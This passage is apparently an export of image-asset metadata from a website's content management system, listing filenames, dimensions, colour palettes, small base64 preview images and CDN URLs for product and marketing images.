d118be8522b87c66a968ed850967e657","size":206106,"uploadId":"EO2IuGOrsXKLaPTWnVmppW3MggFTk4UA","url":"https://cdn.sanity.io/images/sczeoy4w/production/479a138ad118be8522b87c66a968ed850967e657-1770x900.png"} {"_createdAt":"2024-11-23T10:49:35Z","_id":"image-be8192ec1b69637b0b9aef02e57dba78b0cfe978-2456x642-png","_rev":"kXxs8oM5xmhZ4H9SjZaR10","_type":"sanity.imageAsset","_updatedAt":"2024-11-23T10:49:35Z","assetId":"be8192ec1b69637b0b9aef02e57dba78b0cfe978","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DAS~x5-;azofxu~qofWBj[WC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.825545171339564,"height":642,"width":2456},"exif":{"PixelXDimension":2456,"PixelYDimension":642,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAgklEQVR4nIWPWQ7EIAxDuf91KUsWkpFD086q+bAgwX4yZc7pzOxE7KrqZuYi+jKrrvBgD/U+vNYaJ8denFkiU2BAEEsE10IYhg3EfL9vL0ocRwugiJyerYIhQ2iD+w6Lm62rYcIhIrqAmUu9AQH4BOb7DWRvrfsYX4D5jefAf+Dvhg+ZCYpGK+QHSQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#782078","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adadad","foreground":"#000","population":0.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf4fc","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#adadad","foreground":"#000","population":0.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c836c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"read-table-data.png","path":"images/sczeoy4w/production/be8192ec1b69637b0b9aef02e57dba78b0cfe978-2456x642.png","sha1hash":"be8192ec1b69637b0b9aef02e57dba78b0cfe978","size":102895,"uploadId":"tOIEL9Lw5Z0GAGaHvNmf3f4smNMqK8gD","url":"https://cdn.sanity.io/images/sczeoy4w/production/be8192ec1b69637b0b9aef02e57dba78b0cfe978-2456x642.png"} {"_createdAt":"2024-11-23T10:49:36Z","_id":"image-bb39f920639e674ef71a6095584e937d6e713b56-1528x1150-png","_rev":"kXxs8oM5xmhZ4H9SjZaR6T","_type":"sanity.imageAsset","_updatedAt":"2024-11-23T10:49:36Z","assetId":"bb39f920639e674ef71a6095584e937d6e713b56","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5S~x5tR%M%gE1?bM|V]t7j]s;RjIoWCxb~XWBIURkxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.328695652173913,"height":1150,"width":1528},"exif":{"PixelXDimension":1528,"PixelYDimension":1150,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABZElEQVR4nJ1Ui27DIAzs/39ot6la0uYFtoGbbIcU0mrShnQCJXA+35FcllXwdQsYxg3r6gghIqWE/4zLujGGMWCaArYQjYyIjDDnjFLK3wiJGNsWESNB1woRMSgxsyCljJyyFbF17lFKOXCRtB80kmTQg0oYQjDE6KprQYUWqsgNuRFGjmDhrpoSztOMYRhxnx6YtxWRCbq/Kq1qS6dQEkg3ihx+VcJxGHG9fuDzdsP38sBMKyTL7x6mlHefUheAPl+WFeN4N4WPOGHmGZSoU1ROoe0KPYhcevkeDCMSmS0k6jUfPleUtmUNI9DuYclHJX2pm1W9BqKkuhau4fmcTp25Quo9dEKY4TVxRRvE+drUYQpjVZh7b/SwFqzXo1fWKyxty0bI3FXSyk7GdukVTtoSy/uW1Z/a8juF7eH2a3l7D12hfym9hx5KJWuV+fMn+atC9nb6lsuRsP4wFNr+k9Dncyg/X4mfNJgHa6sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5f74","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a45a8","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3a45a8","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afcfb0","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aeb9f1","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7e96","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6272e0","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"read-kafka-messages.png","path":"images/sczeoy4w/production/bb39f920639e674ef71a6095584e937d6e713b56-1528x1150.png","sha1hash":"bb39f920639e674ef71a6095584e937d6e713b56","size":161064,"uploadId":"NNHqgYoC3jOBd3lJJBWG1Xptd9oiAR43","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb39f920639e674ef71a6095584e937d6e713b56-1528x1150.png"} {"_createdAt":"2024-11-23T10:49:36Z","_id":"image-7d683f19b6ede5a4f804c38c6dcff00a07202389-2978x1100-png","_rev":"kXxs8oM5xmhZ4H9SjZaRBw","_type":"sanity.imageAsset","_updatedAt":"2024-11-23T10:49:36Z","assetId":"7d683f19b6ede5a4f804c38c6dcff00a07202389","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBN1AdoM00-:0000fi~qRk?H","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.707272727272727,"height":1100,"width":2978},"exif":{"PixelXDimension":2978,"PixelYDimension":1100,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABe0lEQVR4nGWSa2vacBSH/brrBU1M13iBWo3drELZPkHZGPsMLUOjcRtM2D7F8JKb+cfmnjzDKF3ZXjwcOC8efufHqVTPFaq1SxSlRat5zdVVn+vuW7rdwfPs9QZo/SH9f9jv2+0eitJGlptIUoNKrXaJJKl0Om/4+OEzDw9fmOgGs9lXZsY3jCPz+ff/GI+n3N9/Qm30eHWicnKqUqlJKpLcYDC4KwXL5QrLtDBNm7XlsrFcbMfDEwIhBJ53QAif9XrD4+OYTueW0zOVs/MXCYfDd/xY/ES4LsKy2WwcfpuClbNj64eEcUKcJETxgTRNS7Guz9G0YXmyLLcOQlluMBq9L4W+4yBWa9ZLsxQu7SdcPyQohSlRnBIlKWmalcLJxCi73PdXrzdfJjwKt1ueHAfH3mJ6AbaI8IOEJMvIi5wsz8mP7CvQdQNNuy1D1estKtXq62fhYvGLnb8jDkOCMCKIEqIkI81yiqIA/lIUB+F0OufmZlR+ycVFmz8DQb634tOSWQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4064","foreground":"#fff","population":0.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#572d34","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":32.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9ca4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1a7ae","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":32.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a85664","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-table.png","path":"images/sczeoy4w/production/7d683f19b6ede5a4f804c38c6dcff00a07202389-2978x1100.png","sha1hash":"7d683f19b6ede5a4f804c38c6dcff00a07202389","size":349843,"uploadId":"izeXEk17mm7KLncONHn9IqZMXyOwN4jD","url":"https://cdn.sanity.io/images/sczeoy4w/production/7d683f19b6ede5a4f804c38c6dcff00a07202389-2978x1100.png"} {"_createdAt":"2024-11-23T11:03:34Z","_id":"image-cc608654c99125699f4fb6547d837e2f0aa13df5-1200x628-png","_rev":"kXxs8oM5xmhZ4H9SjZbTrc","_type":"sanity.imageAsset","_updatedAt":"2024-11-23T11:03:34Z","assetId":"cc608654c99125699f4fb6547d837e2f0aa13df5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8EJ*s|MwoeRj_4axRibIR*D%Rjxta$f4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACPUlEQVR4nCWOaU/aAABA+w/mpPdJb4IDNDODbUyCFIi0WNpitdoQN+8bRUURqQIe2XQOmWwSl+2nLm7J+/ryHjCAFhHGIXiX4OdJYYGUVmh5gw2WuaF9LnQkROpC2BMiTSHc5MMeH24IkTMx4rHBGi4eABA9MxzdSKQPE5njRKYeV+pxxVPUy4z+JZ2/VfJ3Ka0zrnaTuW5G72YL99nCQ7bQezt+I4QbAMo60bGyani63dasi7TWTGsXOeOzPt0xZx9M54fh9Cftx/zUY9HtW3N9y/1tzP75kPkuDl8DGDsbGyvnrTNz5lIz24p6rqhtRbtSra/WXG+61LdLv4ruk+H8nLS7Ke1bKt9L6/2ReIcN3QAI44y+25rQTycKZ2nNU9TnsqJdZfUbfbpbdB+n3Kei+6QV72PJljR8Ika8wOsWF7qkg9cASNpyePFNvDz6fncktjcar0bHTqIJL5ZsxZWrZO42pXaSubtYsi1Fqpiwh/JVTDjCxToZaAEvEGsQt2HagWkXYeYxdong1whxi5J26UDFHzzkXp2wQzVKrmD8DibsE2KdkOq4WCOkBjAAGyBqwoQNUXM+svQSnx8kF33UKsRsgvQ6SK9BzBbM7kL+bdi/gwlHpHxOyB4mHGN8FQBRQ6DNoUBJCi0TwiJIfQKpJYhZg/2bMLMO0ssQs46w289we/9um7h0ivIHKFcBfIjhp0xJdPngEs4v+MiPzzL9X94A6RWIXoX92whbRvl9Qm6Q8jku1lCugnKVvxzBqXy5ijmfAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35306d","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":10.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":10.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d9ea","foreground":"#000","population":9.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#787dc4","foreground":"#fff","population":0.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697099","foreground":"#fff","population":1.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (8).png","path":"images/sczeoy4w/production/cc608654c99125699f4fb6547d837e2f0aa13df5-1200x628.png","sha1hash":"cc608654c99125699f4fb6547d837e2f0aa13df5","size":157382,"uploadId":"VL5VCpgG3hACTDL0TDsXeMzrT9EpK4AY","url":"https://cdn.sanity.io/images/sczeoy4w/production/cc608654c99125699f4fb6547d837e2f0aa13df5-1200x628.png"} {"_createdAt":"2024-11-06T13:33:45Z","_id":"image-acca91dfb348ce31894e98bf97eb76b0d050e136-218x218-jpg","_rev":"U360V83F77Z1JcZt4TvBAX","_type":"sanity.imageAsset","_updatedAt":"2024-11-06T13:33:45Z","assetId":"acca91dfb348ce31894e98bf97eb76b0d050e136","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSNm7ej[dAxtn4?tjtxakBRk0Mj[VZV[xt?ujas:kBMyIVayV@jaW=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":218,"width":218},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQEAAwAAAAAAAAAAAAAAAAYFAwcI/8QAJxAAAQMCBAUFAAAAAAAAAAAAAQACAwQFBhESMQcTFFGRI0FCUoH/xAAVAQEBAAAAAAAAAAAAAAAAAAAFA//EAB0RAAMAAgIDAAAAAAAAAAAAAAABAgMEEjNRgbH/2gAMAwEAAhEDEQA/AO1sSyyUVpEscgiL3hhf9R3WHag231kHIuElR1DhrjkdqzB9x2VViCKnqMPvM+n0iHgO2KxMNsoJquESmJo+J2/EPdUqSQprxjeGnRQywlkhai56qRpndlsisHHkJ+NL/eLtT9dcJXM5gPLacm+FW8R7rWw0VKIJ3xaQJAWHIgoitlS5yJanXXv4TNJxOxVBCIxcS8N2L2gnyiIr8V4DT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523e3c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d4035","foreground":"#fff","population":4.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4d4b4","foreground":"#000","population":18.04,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d4b4","foreground":"#000","population":18.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edb68b","foreground":"#000","population":5.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b7645c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af6f51","foreground":"#fff","population":1.09,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Martin Drewes AWS.jpeg","path":"images/sczeoy4w/production/acca91dfb348ce31894e98bf97eb76b0d050e136-218x218.jpg","sha1hash":"acca91dfb348ce31894e98bf97eb76b0d050e136","size":8877,"uploadId":"zuYcZ2KuQCWvR6sCkrpZcAGBmxxPbhIB","url":"https://cdn.sanity.io/images/sczeoy4w/production/acca91dfb348ce31894e98bf97eb76b0d050e136-218x218.jpg"} {"_createdAt":"2024-11-20T12:11:23Z","_id":"image-17bba7a06038807dcb612096903c0dd4c750da16-1200x630-jpg","_rev":"yryarpLFwOAxYGs4JDny2N","_type":"sanity.imageAsset","_updatedAt":"2024-11-20T12:11:23Z","assetId":"17bba7a06038807dcb612096903c0dd4c750da16","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNcr*XXj-6Zi~Cl8i^ieidcCa1eVb]gM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBQb/xAAhEAABAwQBBQAAAAAAAAAAAAABAAIDBAURcTIhJDEzUf/EABYBAQEBAAAAAAAAAAAAAAAAAAcABf/EABsRAAICAwEAAAAAAAAAAAAAAAACAREEEmFR/9oADAMBAAIRAxEAPwB+lqqdkbQ6mBcB1P1P26UumGIWAHwcKnPrj0tHbh28GkZM0zNCzkUq36S4lHF+RpCai4BCtOmdvw//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e3c0a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d65b0f","foreground":"#fff","population":0.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935405","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabc6e","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.91,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-modern-slavery-statement_meta-preview.jpg","path":"images/sczeoy4w/production/17bba7a06038807dcb612096903c0dd4c750da16-1200x630.jpg","sha1hash":"17bba7a06038807dcb612096903c0dd4c750da16","size":48019,"uploadId":"YZk27xCgXQjlU9WQibHP9DpLxO67LwdL","url":"https://cdn.sanity.io/images/sczeoy4w/production/17bba7a06038807dcb612096903c0dd4c750da16-1200x630.jpg"} {"_createdAt":"2024-11-11T09:30:25Z","_id":"image-7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630-jpg","_rev":"LH5f7Hr0x4bwLSK8BnZ5NA","_type":"sanity.imageAsset","_updatedAt":"2024-11-11T09:30:25Z","assetId":"7e88920bf7f1bb168b1233b94eb5db016bcf50db","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEQcYo7QIp+st,x]ER,jFiS%pJ$yWBNbVX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIEBQf/xAAhEAABAwMEAwAAAAAAAAAAAAABAAIDBBESEyExURQkcv/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAHREAAgICAwEAAAAAAAAAAAAAAQIAIREUAwQSUf/aAAwDAQACEQMRAD8A3dkNdHWTuimBa87NcL2Uqsc+CDVw1J7gEAcdp6YDzH7J5T7D/lU7DkKAtZqLhUeiTeLjmTE2abDrpCr4yceUJaifTDsNP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4148","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#823801","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2a1a0","foreground":"#000","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2a1a0","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b479","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc842c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sql-optimizer-meta-preview.jpg","path":"images/sczeoy4w/production/7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630.jpg","sha1hash":"7e88920bf7f1bb168b1233b94eb5db016bcf50db","size":50805,"uploadId":"qjSXoWtsNT0S7YhR6YROkJUlXu7va4HF","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630.jpg"} {"_createdAt":"2024-11-11T09:46:46Z","_id":"image-3144f0ba67a6ee869e8a72dcf5a56ff9123db405-1200x630-jpg","_rev":"CgMgZ8HI74LYPfWsMhxsiS","_type":"sanity.imageAsset","_updatedAt":"2024-11-11T09:46:46Z","assetId":"3144f0ba67a6ee869e8a72dcf5a56ff9123db405","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9QJZh0[Iu}?$*kQ5C}NKnTLWZ-nozM{M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIFB//EACAQAAEEAQQDAAAAAAAAAAAAAAEAAgMEERIhMVETFEL/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgP/xAAbEQACAgMBAAAAAAAAAAAAAAABAgARAxRBUf/aAAwDAQACEQMRAD8A3GWpcfbkMdl4jLs6R0qsEHhLcNfM4bZcdwlrAe47ZPKSLL8H5WmZyoFdNRxoCTfI7n6HEDAHWeEKfGTp5Qq009MNhp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42454d","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#804404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#42454d","foreground":"#fff","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5a4ac","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd676","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b56565","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89327","foreground":"#000","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sql-syntax-checker_meta-preview.jpg","path":"images/sczeoy4w/production/3144f0ba67a6ee869e8a72dcf5a56ff9123db405-1200x630.jpg","sha1hash":"3144f0ba67a6ee869e8a72dcf5a56ff9123db405","size":57261,"uploadId":"SzZWermYmLye1UvPUd9mx90HZac5qzYh","url":"https://cdn.sanity.io/images/sczeoy4w/production/3144f0ba67a6ee869e8a72dcf5a56ff9123db405-1200x630.jpg"} {"_createdAt":"2024-11-11T09:47:49Z","_id":"image-4f3d3d0d241d91b45f3e8ff330efa48ccf7da472-1200x630-jpg","_rev":"LH5f7Hr0x4bwLSK8Bnbehs","_type":"sanity.imageAsset","_updatedAt":"2024-11-11T09:47:49Z","assetId":"4f3d3d0d241d91b45f3e8ff330efa48ccf7da472","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Q9.#0[ks~AVrbV5X}hGKJDtR-nR*IVaL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIDBAUH/8QAIRAAAQQCAgIDAAAAAAAAAAAAAQACAwQRIRIxBRQyQVH/xAAVAQEBAAAAAAAAAAAAAAAAAAABA//EABwRAAEEAwEAAAAAAAAAAAAAAAEAAgMREhRBUf/aAAwDAQACEQMRAD8A7lNXtGzK6Ow8Au03elc8XVlgBMzjYeTnZxgKaqB7j9fSeUkWX4J+KrO/ECumkxssm+BO5/FxA0PzPSFnxk8e0J02elGw5f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4048","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814502","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f838c","foreground":"#fff","population":0.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd47c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f838c","foreground":"#fff","population":0.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa901c","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"text-to-sql_meta-preview.jpg","path":"images/sczeoy4w/production/4f3d3d0d241d91b45f3e8ff330efa48ccf7da472-1200x630.jpg","sha1hash":"4f3d3d0d241d91b45f3e8ff330efa48ccf7da472","size":65033,"uploadId":"2SaNxkqis3pmsfv0AJXoBlk07fjRNoOb","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f3d3d0d241d91b45f3e8ff330efa48ccf7da472-1200x630.jpg"} {"_createdAt":"2024-11-11T09:48:36Z","_id":"image-010132c382a356dbd6d80920e1b42782e20e546f-1200x630-jpg","_rev":"CgMgZ8HI74LYPfWsMhy2fO","_type":"sanity.imageAsset","_updatedAt":"2024-11-11T09:48:36Z","assetId":"010132c382a356dbd6d80920e1b42782e20e546f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Q9=:0[Sk~9nOot5X}NG1Oaoz-nWYIVRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIFB//EACAQAAEEAgIDAQAAAAAAAAAAAAEAAgMEESESMRQyQVH/xAAVAQEBAAAAAAAAAAAAAAAAAAABA//EABwRAAEEAwEAAAAAAAAAAAAAAAEAAgMREhRBUf/aAAwDAQACEQMRAD8A3GavaNmUxWHBpdnG9KjQrmIAu5zSHsuPSaqB5j9fE8pIsPwT6qs78QK6aTGyyb4nc/i4gaH5npCnxk8e0J02elGw5f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4354","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814502","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8e18","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4a4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46f","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7cbd","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8e18","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sql-to-text_meta-preview.jpg","path":"images/sczeoy4w/production/010132c382a356dbd6d80920e1b42782e20e546f-1200x630.jpg","sha1hash":"010132c382a356dbd6d80920e1b42782e20e546f","size":64201,"uploadId":"frnFLmo9X8UEZ1hTbIE